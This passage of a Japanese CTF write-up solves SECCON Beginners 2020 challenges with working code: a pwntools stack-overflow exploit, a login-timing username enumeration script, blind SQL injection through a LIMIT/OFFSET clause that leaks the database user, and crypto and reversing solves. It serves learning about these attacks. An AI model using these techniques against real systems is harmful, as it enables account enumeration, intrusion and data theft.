0x00007ffe1d098640 | 0x6161616161616161 |
                   +--------------------+
0x00007ffe1d098648 | 0x6161616161616161 |
                   +--------------------+
0x00007ffe1d098650 | 0x6161616161616161 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffe1d098658 | 0x6161616161616161 | <-- return address (vuln)
                   +--------------------+
0x00007ffe1d098660 | 0x6161616161616161 | <-- saved rbp (main)
                   +--------------------+
0x00007ffe1d098668 | 0x00000a6161616161 | <-- return address (main)
                   +--------------------+
0x00007ffe1d098670 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe1d098678 | 0x00007ffe1d098748 |
                   +--------------------+

Segmentation fault

おー、とても親切。途中まで0x61で埋まっているのが可視化されています。

今回のアーキテクチャは64bit。picoCTF 2019の[Binary] NewOverFlow-1 の問題の解き方が参考になりそう。

まずは純朴に、return address (vuln) のところがwin関数のアドレスになるように攻撃を組み立ててみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'bs.quals.beginners.seccon.jp'
port = 9001
win_addr = 0x00400861

e = ELF('chall')

payload = b'a' * (8*5)
payload += p64(win_addr)

r = remote(host, port)
print(r.recvuntil(b'Input: '))
r.sendline(payload)
print(r.recvall())
r.close()

これを実行してみると

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fffc751e490 | 0x6161616161616161 | <-- buf
                   +--------------------+
0x00007fffc751e498 | 0x6161616161616161 |
                   +--------------------+
0x00007fffc751e4a0 | 0x6161616161616161 |
                   +--------------------+
0x00007fffc751e4a8 | 0x6161616161616161 |
                   +--------------------+
0x00007fffc751e4b0 | 0x6161616161616161 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fffc751e4b8 | 0x0000000000400861 | <-- return address (vuln)
                   +--------------------+
0x00007fffc751e4c0 | 0x0000000000400a0a | <-- saved rbp (main)
                   +--------------------+
0x00007fffc751e4c8 | 0x00007fc357c65b97 | <-- return address (main)
                   +--------------------+
0x00007fffc751e4d0 | 0x0000000000000001 |
                   +--------------------+
0x00007fffc751e4d8 | 0x00007fffc751e5a8 |
                   +--------------------+

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

と返りました。図より、書き換えは意図したとおり行われている様子。ここでコメントのRSPについて、先ほど紹介したpicoCTF2019の問題のときも調査したとおり、RSPが16バイトにアライメントされていなければいけません。うーちゃんさんのブログにも書いてありました。

uchan.hateblo.jp

ということで、飛ばし先を16バイトにアライメントされている近傍のアドレスに書き換えます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'bs.quals.beginners.seccon.jp'
port = 9001
# win_addr = 0x00400861
win_addr = 0x00400862

e = ELF('chall')

payload = b'a' * (8*5)
payload += p64(win_addr)

r = remote(host, port)
print(r.recvuntil(b'Input: '))
r.sendline(payload)
r.interactive()

実行結果

~略~
Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$  

これがBeginner問題か…(꒪⌓꒪)

[Crypto] R&B [Beginner]

Do you like rhythm and blues?

r_and_b.zip

problem.pyencoded_flagが配布されます。

from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==

先頭にBがついていればbase64,Rがついていればrot13でデコードしてあげるとflagになりそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string
import base64

alphabet = list(string.ascii_lowercase)

def rot13(c):
    return alphabet[(alphabet.index(c) + 13) % 26]

def rot13_str(cipher):
    plain = ''
    for c in cipher:
        if c.isupper():
            plain += rot13(c.lower()).upper()
        elif c.islower():
            plain += rot13(c)
        else:
            plain += c
    return plain

with open('encoded_flag', 'r') as f:
    encoded_flag = f.read()

while True:
    if encoded_flag[0] == 'B':
        encoded_flag = base64.b64decode(encoded_flag[1:]).decode()
        print(encoded_flag)
    elif encoded_flag[0] == 'R':
        encoded_flag = rot13_str(encoded_flag[1:])
        print(encoded_flag)
    else:
        break

実行結果

$ python solve.py 
BUk9IeDlWclF5RnB4dTVySEU0cUdJbEZSeVZvd09hSTB1NHJLSVJGVEFHRTFXU0FITVZIMXFsSEh1ZUV5RGtFMjl1R3pnV1p4eWVGVXFXSDBNWEgwQVdyUVNLcFJ1S24zV0VHMk1TWjNJWXBLeXdJeGpscEljbEhheWJFR1NPSDBNVkZHTVZaUjFoSmFjYXJScUhIM3FScndIMUZRT2FIUk1WSDJ1aVpUcGtGSHUxTTBxNk0xV2xGMUE1RTB5R0kwcVdMbUFrRTAxTEVHTjVGVU9ZcklxQVpUQTFFUnVXblNiakFKSVRIYXlLRElXQUF4RVdJMXFTb0g0NQ==
(~~中略~~)
ROHx9VLH9upT1SnKVlFKMAZGyco3cAoRflFKMAZGyco3cAoRflFKMAZGyco3cAoRflBJuALIp5
BUk9IYU9hcG1FaXIySXZNMTlpb3pNbEsySXZNMTlpb3pNbEsySXZNMTlpb3pNbEsyOWhNYVc5
ROHaOapmEir2IvM19iozMlK2IvM19iozMlK2IvM19iozMlK29hMaW9
BUnBnczRve2ViZ19vbmZyX2ViZ19vbmZyX2ViZ19vbmZyX29uZnJ9
Rpgs4o{ebg_onfr_ebg_onfr_ebg_onfr_onfr}
ctf4b{rot_base_rot_base_rot_base_base}

[Web] Spy [Beginner]

As a spy, you are spying on the "ctf4b company".

You got the name-list of employees and the URL to the in-house web tool used by some of them.

Your task is to enumerate the employees who use this tool in order to make it available for social engineering.

  • app.py

  • employees.txt

app.pyemployees.txtが配布されます。

import os
import time

from flask import Flask, render_template, request, session

# Database and Authentication libraries (you can't see this :p).
import db
import auth

# ====================

app = Flask(__name__)
app.SALT = os.getenv("CTF4B_SALT")
app.FLAG = os.getenv("CTF4B_FLAG")
app.SECRET_KEY = os.getenv("CTF4B_SECRET_KEY")

db.init()
employees = db.get_all_employees()

# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    t = time.perf_counter()

    if request.method == "GET":
        return render_template("index.html", message="Please login.", sec="{:.7f}".format(time.perf_counter()-t))
    
    if request.method == "POST":
        name = request.form["name"]
        password = request.form["password"]

        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        session["name"] = name
        return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t))

# ====================

@app.route("/challenge", methods=["GET", "POST"])
def challenge():
    t = time.perf_counter()
    
    if request.method == "GET":
        return render_template("challenge.html", employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

    if request.method == "POST":
        answer = request.form.getlist("answer")

        # If you can enumerate all accounts, I'll give you FLAG!
        if set(answer) == set(account.name for account in db.get_all_accounts()):
            message = app.FLAG
        else:
            message = "Wrong!!"
        
        return render_template("challenge.html", message=message, employees=employees, sec="{:.7f}".format(time.perf_counter()-t))

# ====================

if __name__ == '__main__':
    db.init()
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
Arthur
Barbara
...(中略)...
Ximena
Yvonne
Zalmon

loginページとchallengeページが存在。DBに存在する従業員全員をチェックして提出すればflagがもらえるらしい。

f:id:kusuwada:20200524143231p:plain:w300 f:id:kusuwada:20200524143225p:plain:w300

パスワードのhashを計算するところが怪しい。こんなコメントが。

# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)

ということは、計算に時間がかかるということかしら。とりあえず、名前をリストから突っ込んでパスワードは適当、というリクエストを送って時間を見てみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import time

url = "https://spy.quals.beginners.seccon.jp/"

with open('employees.txt', 'r') as f:
    candidates = f.readlines()

def attack(username):
    payload = {
        'name': username,
        'password': 'test'
    }
    start = time.time()
    res = requests.post(url, data=payload)
    elasped_time = time.time() - start
    return elasped_time

for c in candidates:
    t = attack(c.strip())
    if (t > 0.2):
        print(c.strip(), t)

実行してみたところ、存在する名前の場合は、何重にもしているというhash計算のせいで時間がかかっているようなので、0.2秒あたりをしきい値にしてそれ以上のものだけ抜き出してみました。

実行結果

$ python solve.py 
Elbert 0.6151869297027588
George 0.8650047779083252
Lazarus 0.7229771614074707
Marc 0.45841407775878906
Tony 0.8095290660858154
Ximena 0.4909517765045166
Yvonne 0.7574810981750488

これをChallengeページに入力すると、flagが得られました。

f:id:kusuwada:20200524143244p:plain

[Web] Tweetstore [Easy]

Search your flag!

Server: https://tweetstore.quals.beginners.seccon.jp/

File: https://score.beginners.seccon.jp/files/tweetstore.zip-0d1ccb41d8e3285e84f055083b1bc2f7a4dc84e5

goで書かれたwebserver.goが配布されます。goだ…。

package main

import (
    "context"
    "fmt"
    "log"
    "os"
    "strings"
    "time"
 
    "database/sql"
    "html/template"
    "net/http"

    "github.com/gorilla/handlers"
    "github.com/gorilla/mux"

    _"github.com/lib/pq"
)

var tmplPath = "./templates/"

var db *sql.DB

type Tweets struct {
    Url        string
    Text       string
    Tweeted_at time.Time
}

func handler_index(w http.ResponseWriter, r *http.Request) {

    tmpl, err := template.ParseFiles(tmplPath + "index.html")
    if err != nil {
        log.Fatal(err)
    }

    var sql = "select url, text, tweeted_at from tweets"

    search, ok := r.URL.Query()["search"]
    if ok {
        sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
    }

    sql += " order by tweeted_at desc"

    limit, ok := r.URL.Query()["limit"]
    if ok && (limit[0] != "") {
        sql += " limit " + strings.Split(limit[0], ";")[0]
    }

    var data []Tweets


    ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
    defer cancel()

    rows, err := db.QueryContext(ctx, sql)
    if err != nil{
        log.Fatal(err)
    }

    for rows.Next() {
        var text string
        var url string
        var tweeted_at time.Time

        err := rows.Scan(&url, &text, &tweeted_at)
        if err != nil {
            log.Fatal(err)
        }
        data = append(data, Tweets{url, text, tweeted_at})
    }

    tmpl.Execute(w, data)
}

func initialize() {
    var err error

    dbname := "ctf"
    dbuser := os.Getenv("FLAG")
    dbpass := "password"

    connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
    db, err = sql.Open("postgres", connInfo)
    if err != nil {
        log.Fatal(err)
    }
}

func main() {

    var err error

    initialize()
    logFile, err := os.OpenFile("/log/access_log", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0640)
    if err != nil {
        log.Fatal(err)
    }

    r := mux.NewRouter()
    r.HandleFunc("/", handler_index).Methods("GET")

    http.Handle("/", r)
    http.ListenAndServe(":8080", handlers.LoggingHandler(logFile, http.DefaultServeMux))
}

指定されたurlに飛んでみると、こんなページ。

f:id:kusuwada:20200524143424p:plain

どうやら、twitterのctf4bアカウントのツイートか、#ctf4b, #secconタグの付いたツイートがダーッと表示されている様子。この中からflagを探しましょうという問題みたい。

きっと無駄と思いつつ、検索ワードにctf4b{を指定してみたけど、やっぱり出てこなかった。ちゃんとソースを読みましょう。

  • 検索ワードはurlのクエリパラメータsearchからとってくる
  • 結果数制限は同じくクエリパラメータのlimit
  • 検索ワードは'をすべて\\'エスケープし、Like検索に放り込まれる
  • limitが空でない場合は、limitを;で分割したときの先頭が、sqlのlimit句に放り込まれる
  • limitはブラウザからは数値しか入力できないが、クエリには何でも入れられる&ノーチェック

最終的な検索時のsql文は、

select url, text, tweeted_at from tweets where text like '%{search}%' order by tweeted_at desc limit {limit}

となる。

flagは、

func initialize() {
    var err error

    dbname := "ctf"
    dbuser := os.Getenv("FLAG")
    dbpass := "password"
...

とあることから、環境変数、及びデータベースのuser名であることがわかる。

searchの方は'が封じられてしまっているため、攻撃が難しそう。ということはlimitの方で攻撃クエリにつなげられないかな…。
ちなみに、;がsplitの区切りに使われてしまっているので、select * from ~ ;みたいなクエリ文は投げられません。

最初はunion句を使う攻撃なんかをずっと試していたんだけど、上記の;が使えないせいもあって刺さらない。

試行錯誤しつつ、limit sql injectionみたいな感じでググってたら、下記にたどり着く。

www.noob.ninja

これが使えそうなんですけど!
limit句の文法として、liimit 2,3 みたいに書くと(2+1)番目から最大3個までという指定になる。この書き方は今回使えなかったんだけど、limit 3 offset 2という書き方で同じ効果が期待できます。

ちょっと投げてみます。

$ curl "http://tweetstore.quals.beginners.seccon.jp/?search=&limit=10 offset 190"

※実際はurl encodeしてから投げています。以下同様。
Internal server error にならずに、ちゃんと結果が返ってきました!

これが使えたとして何が嬉しいかというと、

limit 1 offset ascii(substr((Select version()),1,1))

みたいな書き方をすると、DBのversion情報が一文字ずつ返ってきます!substrで一文字ずつ返すように指定し、asciiで数値に直せば、offsetの引数としてふさわしい。やった!

$ curl "http://tweetstore.quals.beginners.seccon.jp/?search=&limit=10 offset ascii(substr((Select version()),1,1))"

実際投げてみると、返ってきました!

この攻撃を成功させるためには、返ってきたtweetがindex何番目に相当するかを知っていなければいけません。まずは、indexとtweet_idのテーブルを生成します。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import urllib.parse

base_url = "http://tweetstore.quals.beginners.seccon.jp/"
split_s = 'https://twitter.com/user/status/'
split_e = '">Watch@Twitter'

# enumrate tweets
tweet_ids = []
for i in range(200):
    url = base_url + '?search=&limit=1+offset+' + str(i)
    res = requests.get(url)
    tweet_ids.append(res.text.split(split_s)[1].split(split_e)[0])

with open('tweet_ids.txt', 'w') as f:
    f.write(str(tweet_ids))

tweet_ids.txt

['1217080911310647296', '1187987440717328384', '1187968233275412481', '1187962961836433408', '1187932807936409600', '1187881056667496450', '1184685870646824961', '1180346104774184960', '1180344327228182529', '1179996723462078464', '1178593985121505280', '1174702546520301574', 
...

よし。試しに、先程のDBのVersionを読み出す攻撃をやってみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import urllib.parse

base_url = "http://tweetstore.quals.beginners.seccon.jp/"
split_s = 'https://twitter.com/user/status/'
split_e = '">Watch@Twitter'

with open('tweet_ids.txt', 'r') as f:
    tweet_ids = f.read()[1:-1].replace("'",'').split(', ')

for i in range(200):
    attack = 'ascii(substr((Select version()),' + str(i+1) + ',1))'
    url = base_url + '?search=&limit=1+offset+' + urllib.parse.quote(attack)
    res = requests.get(url)
    tweet_id = res.text.split(split_s)[1].split(split_e)[0]
    print(chr(tweet_ids.index(tweet_id)),end='')

実行結果

$ python solve.py 
PostgreSQL 12.3 (Debian 12.3-1.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit

綺麗に出てきました!嬉しい!PostgreSQLだったみたい。

今回Flagは、dbのuser名なので、これを表示するコマンドがないか探します。sql文は最後に;が必要なのでNG。沢山ググってると、下記にたどり着きました。

PostgreSQL 9.1.5文書 9.23. システム情報関数

関数だとセミコロンがいらないので使えます!user名を表示する関数もありました。

current_user

やったー!先程の攻撃をこのコマンドに書き換えて実行してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import urllib.parse

base_url = "http://tweetstore.quals.beginners.seccon.jp/"
split_s = 'https://twitter.com/user/status/'
split_e = '">Watch@Twitter'

with open('tweet_ids.txt', 'r') as f:
    tweet_ids = f.read()[1:-1].replace("'",'').split(', ')

for i in range(200):
    attack = 'ascii(substr((current_user),' + str(i+1) + ',1))'
    url = base_url + '?search=&limit=1+offset+' + urllib.parse.quote(attack)
    res = requests.get(url)
    tweet_id = res.text.split(split_s)[1].split(split_e)[0]
    print(chr(tweet_ids.index(tweet_id)),end='')

200は適当…。
実行結果

$ python solve.py 
ctf4b{is_postgres_your_friend?}

結構ぎりぎりになったけど、粘った甲斐あってflag取れて嬉しい…。

[Reversing] mask [Beginner]

The price of mask goes down. So does the point (it's easy)!

(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)

maskという実行ファイルが配布されます。

$ file mask
mask: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=49166a467aee16fbfe167daf372d3263837b4887, for GNU/Linux 3.2.0, not stripped

時事ネタですねー。

Beginnerなので使おうか悩んだのですが、時間もないしghidraにかけちゃいました。
こちらdecompile結果。例によって解読に必要なとこのみ、パラメータ名は適宜書きかえてます。

undefined8 main(int iParm1,long lParm2)

{
  int input_len;
  int idx;
  byte input_arg [64];
  byte param1 [64];
  byte param2 [72];

  if (iParm1 == 1) {
    puts("Usage: ./mask [FLAG]");
  }
  else {
    strcpy((char *)input_arg,*(char **)(lParm2 + 8));
    input_len = strlen((char *)input_arg);
    puts("Putting on masks...");
    idx = 0;
    while (idx < input_len) {
      param1[(long)idx] = input_arg[(long)idx] & 0x75;
      param2[(long)idx] = input_arg[(long)idx] & 0xeb;
      idx = idx + 1;
    }
    param1[(long)input_len] = 0;
    param2[(long)input_len] = 0;
    puts((char *)param1);
    puts((char *)param2);
    input_len = strcmp((char *)param1,"atd4`qdedtUpetepqeUdaaeUeaqau");
    if ((input_len == 0) &&
       (input_len = strcmp((char *)param2,"c`b bk`kj`KbababcaKbacaKiacki"), input_len == 0)) {
      puts("Correct! Submit your FLAG.");
    }
    else {
      puts("Wrong FLAG. Try again.");
    }
  }
}

ということで、

param1 = input & 0x75 (01110101)
param2 = input & 0xeb (11101011)

となるようなinputを求めれば良さそうです。幸い、0x750xeb、両者ともビット0の桁はないので計算できそう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

param1 = "atd4`qdedtUpetepqeUdaaeUeaqau"
param2 = "c`b bk`kj`KbababcaKbacaKiacki"

# param1 = input & 0x75 (01110101)
# param2 = input & 0xeb (11101011)

def bin2ascii(bin_str):
    n = int(bin_str, 2)
    return n.to_bytes((n.bit_length() + 7) // 8, 'big').decode()

def pad8(b):
    if len(b) < 8:
        b = '0' + b
        return pad8(b)
    else:
        return b

for i in range(len(param1)):
    bin1 = pad8(bin(ord(param1[i]))[2:])
    bin2 = pad8(bin(ord(param2[i]))[2:])
    param = bin2[0]
    param +=  bin2[1]
    param +=  bin2[2]
    param +=  bin1[3]
    param +=  bin2[4]
    param +=  bin1[5]
    param +=  bin2[6]
    param +=  bin2[7]
    print(bin2ascii(param),end='')

割と野蛮なスクリプトだけどまぁ良いか。

実行結果

$ python solve.py 
ctf4b{dont_reverse_face_mask}

フラグもクスリとくる感じが好き。

[Reversing] yakisoba [Easy]

Would you like to have a yakisoba code?

(Hint: You'd better automate your analysis)

今度は焼きそば。ラーメン、そうめん、焼きそば。今年も麺類で行くらしい。

実行ファイルyakisobaが配布されます。まずは実行。

$ ./yakisoba 
FLAG: test
Wrong!

flagがわからないのに、flagを入れよと言われます。
今回もすぐさまghidraで解析。

ulong entry(void) {
  int read_success;
  uint check_result;
  ulong ret;
  undefined input [40];
  
  ret = 1;
  __printf_chk(1,"FLAG: ");
  read_success = __isoc99_scanf(&DAT_001010fb, input);
  if (read_success != 0) {
    check_result = check(input);
    ret = (ulong)check_result;
    if (check_result == 0) {
      puts("Correct!");
    }
    else {
      ret = 0;
      puts("Wrong!");
    }
  }
}

で、ここで呼ばれているcheck関数がめちゃめちゃ長かった。

check関数(クリックで展開)

undefined8 check(byte *param) {
  byte target_char;
  undefined8 sub_char;
  
  target_char = *param;
  if (target_char != 99) {
    if (target_char < 100) {
      if (target_char == 0x30) {
        return 0xa5;
      }
      if (target_char == 0x4b) {
        return 0xc4;
      }
    }
    else {
      if (target_char == 0x96) {
        return 0x36;
      }
      if (target_char == 0xda) {
        return 0x87;
      }
      if (target_char == 0x77) {
        return 0x49;
      }
    }
    return 0x96;
  }
  target_char = param[1];
  if (target_char == 0x3e) {
    return 3;
  }
  if (target_char < 0x3f) {
    sub_char = 0x54;
    if ((target_char != 5) && (sub_char = 0x15, target_char != 0x3d)) {
      return 0xd1;
    }
  }
  else {
    sub_char = 0xf;
    if ((target_char != 0x9c) && (sub_char = 0xb8, target_char != 0xc9)) {
      if (target_char != 0x74) {
        return 0xd1;
      }
      target_char = param[2];
      if (target_char == 0x1a) {
        return 0xc0;
      }
      if (target_char < 0x1b) {
        if (target_char == 0) {
          return 200;
        }
        if (target_char == 1) {
          return 0xcc;
        }
      }
      else {
        if (target_char == 0x66) {
          target_char = param[3];
          if (target_char == 0x59) {
            return 0xbd;
          }
          if (target_char < 0x5a) {
            if (target_char == 0x34) {
              target_char = param[4];
              if (target_char == 0x7d) {
                return 0xd;
              }
              if (0x7d < target_char) {
                if (target_char == 199) {
                  return 0x53;
                }
                if (target_char == 0xca) {
                  return 0x67;
                }
                if (target_char != 0xb5) {
                  return 0xdc;
                }
                return 0xb0;
              }
              if (target_char == 0x18) {
                return 0x72;
              }
              if (target_char != 0x62) {
                return 0xdc;
              }
              target_char = param[5];
              if (target_char == 0x4b) {
                return 0xab;
              }
              if (target_char < 0x4c) {
                if (target_char == 0xd) {
                  return 0x89;
                }
                if (target_char != 0x20) {
                  return 0x7d;
                }
                return 0x1c;
              }
              if (target_char == 0xb9) {
                return 0xd7;
              }
              if (target_char == 0xc0) {
                return 0x2d;
              }
              if (target_char != 0x7b) {
                return 0x7d;
              }
              target_char = param[6];
              if (target_char != 0x73) {
                if (target_char < 0x74) {
                  if (target_char == 0x5a) {
                    return 0x94;
                  }
                  if (target_char != 0x6d) {
                    return 0xec;
                  }
                  return 0xdb;
                }
                if (target_char == 0xa5) {
                  return 99;
                }
                if (target_char == 0xf4) {
                  return 0x6c;
                }
                if (target_char != 0x8e) {
                  return 0xec;
                }
                return 199;
              }
              target_char = param[7];
              if (target_char != 0x70) {
                if (target_char < 0x71) {
                  if (target_char == 100) {
                    return 0xeb;
                  }
                  if (target_char != 0x69) {
                    return 0xf3;
                  }
                  return 0x6e;
                }
                if (target_char == 0xd2) {
                  return 0x41;
                }
                if (target_char == 0xeb) {
                  return 1;
                }
                if (target_char != 0x80) {
                  return 0xf3;
                }
                return 0x3a;
              }
              target_char = param[8];
              if (target_char == 0x42) {
                return 0x75;
              }
              if (0x42 < target_char) {
                if (target_char == 0x5f) {
                  return 0xd7;
                }
                if (target_char == 0x85) {
                  return 0x22;
                }
                if (target_char != 0x50) {
                  return 0x92;
                }
                return 7;
              }
              if (target_char == 0x25) {
                return 0xca;
              }
              if (target_char != 0x34) {
                return 0x92;
              }
              target_char = param[9];
              if (target_char == 0xad) {
                return 0x4a;
              }
              if (target_char < 0xae) {
                if (target_char == 0x67) {
                  target_char = param[10];
                  if (target_char != 0x68) {
                    if (target_char < 0x69) {
                      if (target_char == 0x1a) {
                        return 0xf3;
                      }
                      if (target_char != 0x28) {
                        return 1;
                      }
                      return 0xe2;
                    }
                    if (target_char == 0xb5) {
                      return 0x2d;
                    }
                    if (target_char == 0xb8) {
                      return 0xac;
                    }
                    if (target_char != 0x93) {
                      return 1;
                    }
                    return 0x32;
                  }
                  target_char = param[0xb];
                  if (target_char == 0x41) {
                    return 0x82;
                  }
                  if (target_char < 0x42) {
                    if (target_char == 0x33) {
                      target_char = param[0xc];
                      if (target_char != 0x74) {
                        if (target_char < 0x75) {
                          if (target_char == 0x53) {
                            return 0x3c;
                          }
                          if (target_char != 0x57) {
                            return 0x3d;
                          }
                          return 0x6b;
                        }
                        if (target_char == 0x8a) {
                          return 4;
                        }
                        if (target_char == 0xa8) {
                          return 0x28;
                        }
                        if (target_char != 0x85) {
                          return 0x3d;
                        }
                        return 0xf5;
                      }
                      target_char = param[0xd];
                      if (target_char != 0x74) {
                        if (target_char < 0x75) {
                          if (target_char == 0x16) {
                            return 0x75;
                          }
                          if (target_char != 0x2d) {
                            return 0xef;
                          }
                          return 0x8a;
                        }
                        if (target_char == 0xb2) {
                          return 0x4f;
                        }
                        if (target_char == 0xbd) {
                          return 0xeb;
                        }
                        if (target_char != 0x89) {
                          return 0xef;
                        }
                        return 0x67;
                      }
                      target_char = param[0xe];
                      if (target_char != 0x31) {
                        if (target_char < 0x32) {
                          if (target_char == 2) {
                            return 0x7e;
                          }
                          if (target_char != 0x24) {
                            return 0x1f;
                          }
                          return 100;
                        }
                        if (target_char == 0x71) {
                          return 0x56;
                        }
                        if (target_char == 0x76) {
                          return 0xf0;
                        }
                        if (target_char != 0x4f) {
                          return 0x1f;
                        }
                        return 0xf8;
                      }
                      target_char = param[0xf];
                      if (target_char == 0x5a) {
                        return 0x54;
                      }
                      if (target_char < 0x5b) {
                        if (target_char == 10) {
                          return 0xcf;
                        }
                        if (target_char != 0x2a) {
                          return 0xb9;
                        }
                        return 0x71;
                      }
                      if (target_char != 0x5f) {
                        if (target_char == 0xae) {
                          return 0x66;
                        }
                        if (target_char != 0x5b) {
                          return 0xb9;
                        }
                        return 0xee;
                      }
                      target_char = param[0x10];
                      if (target_char == 0x5a) {
                        return 0x42;
                      }
                      if (target_char < 0x5b) {
                        if (target_char == 0x17) {
                          return 0xfb;
                        }
                        if (target_char != 0x43) {
                          return 0xb1;
                        }
                        return 0x5c;
                      }
                      if (target_char == 0xd2) {
                        return 0xa6;
                      }
                      if (target_char == 0xfd) {
                        return 0x14;
                      }
                      if (target_char != 0x72) {
                        return 0xb1;
                      }
                      target_char = param[0x11];
                      if (target_char != 0x31) {
                        if (target_char < 0x32) {
                          if (target_char == 0x13) {
                            return 0x52;
                          }
                          if (target_char != 0x2e) {
                            return 0xbe;
                          }
                          return 0x52;
                        }
                        if (target_char == 0xc4) {
                          return 0xec;
                        }
                        if (target_char == 0xfd) {
                          return 0x46;
                        }
                        if (target_char != 0xa5) {
                          return 0xbe;
                        }
                        return 0x73;
                      }
                      target_char = param[0x12];
                      if (target_char == 0x43) {
                        return 0xdc;
                      }
                      if (target_char < 0x44) {
                        if (target_char == 0x19) {
                          return 0x17;
                        }
                        if (target_char != 0x28) {
                          return 0xb6;
                        }
                        return 0x68;
                      }
                      if (target_char == 0xd5) {
                        return 0x4b;
                      }
                      if (target_char == 0xe0) {
                        return 0x87;
                      }
                      if (target_char != 0x70) {
                        return 0xb6;
                      }
                      target_char = param[0x13];
                      if (target_char != 0x70) {
                        if (target_char < 0x71) {
                          if (target_char == 0x29) {
                            return 0xac;
                          }
                          if (target_char != 0x5a) {
                            return 0xcc;
                          }
                          return 0x23;
                        }
                        if (target_char == 0xee) {
                          return 0xa0;
                        }
                        if (target_char == 0xf7) {
                          return 0x31;
                        }
                        if (target_char != 0x86) {
                          return 0xcc;
                        }
                        return 0xcd;
                      }
                      target_char = param[0x14];
                      if (target_char != 0x33) {
                        if (target_char < 0x34) {
                          if (target_char == 0xd) {
                            return 0xf7;
                          }
                          if (target_char != 0x2d) {
                            return 0xac;
                          }
                          return 0xef;
                        }
                        if (target_char == 0x9e) {
                          return 0x9e;
                        }
                        if (target_char == 0xa1) {
                          return 0xa4;
                        }
                        if (target_char != 0x84) {
                          return 0xac;
                        }
                        return 0x2a;
                      }
                      target_char = param[0x15];
                      if (target_char == 0x72) {
                        target_char = param[0x16];
                        if (target_char == 0x3c) {
                          return 0x68;
                        }
                        if (0x3c < target_char) {
                          if (target_char == 0x76) {
                            return 0xd9;
                          }
                          if (target_char == 0xbb) {
                            return 0xd6;
                          }
                          if (target_char != 0x51) {
                            return 0x40;
                          }
                          return 0x5d;
                        }
                        if (target_char == 3) {
                          return 0xac;
                        }
                        if (target_char != 0x31) {
                          return 0x40;
                        }
                        target_char = param[0x17];
                        if (target_char != 0x6e) {
                          if (0x6e < target_char) {
                            if (target_char == 0xdf) {
                              return 0x93;
                            }
                            if (target_char != 0xfa) {
                              return 0x1d;
                            }
                            return 7;
                          }
                          if (target_char == 0x28) {
                            return 0x36;
                          }
                          if (target_char == 0x35) {
                            return 0x68;
                          }
                          return 0x1d;
                        }
                        target_char = param[0x18];
                        if (target_char == 0x57) {
                          return 0x3c;
                        }
                        if (0x57 < target_char) {
                          if (target_char == 0xb0) {
                            return 0xe2;
                          }
                          if (target_char == 0xd4) {
                            return 0x84;
                          }
                          if (target_char != 0x91) {
                            return 0x7e;
                          }
                          return 0x2f;
                        }
                        if (target_char == 0x1b) {
                          return 0xf7;
                        }
                        if (target_char != 0x30) {
                          return 0x7e;
                        }
                        target_char = param[0x19];
                        if (target_char != 0x7d) {
                          if (target_char < 0x7e) {
                            if (target_char == 9) {
                              return 0xf8;
                            }
                            if (target_char != 0x3c) {
                              return 0xe8;
                            }
                            return 0x29;
                          }
                          if (target_char == 0x87) {
                            return 0x8b;
                          }
                          if (target_char == 0xcb) {
                            return 0x69;
                          }
                          if (target_char != 0x7f) {
                            return 0xe8;
                          }
                          return 0x5e;
                        }
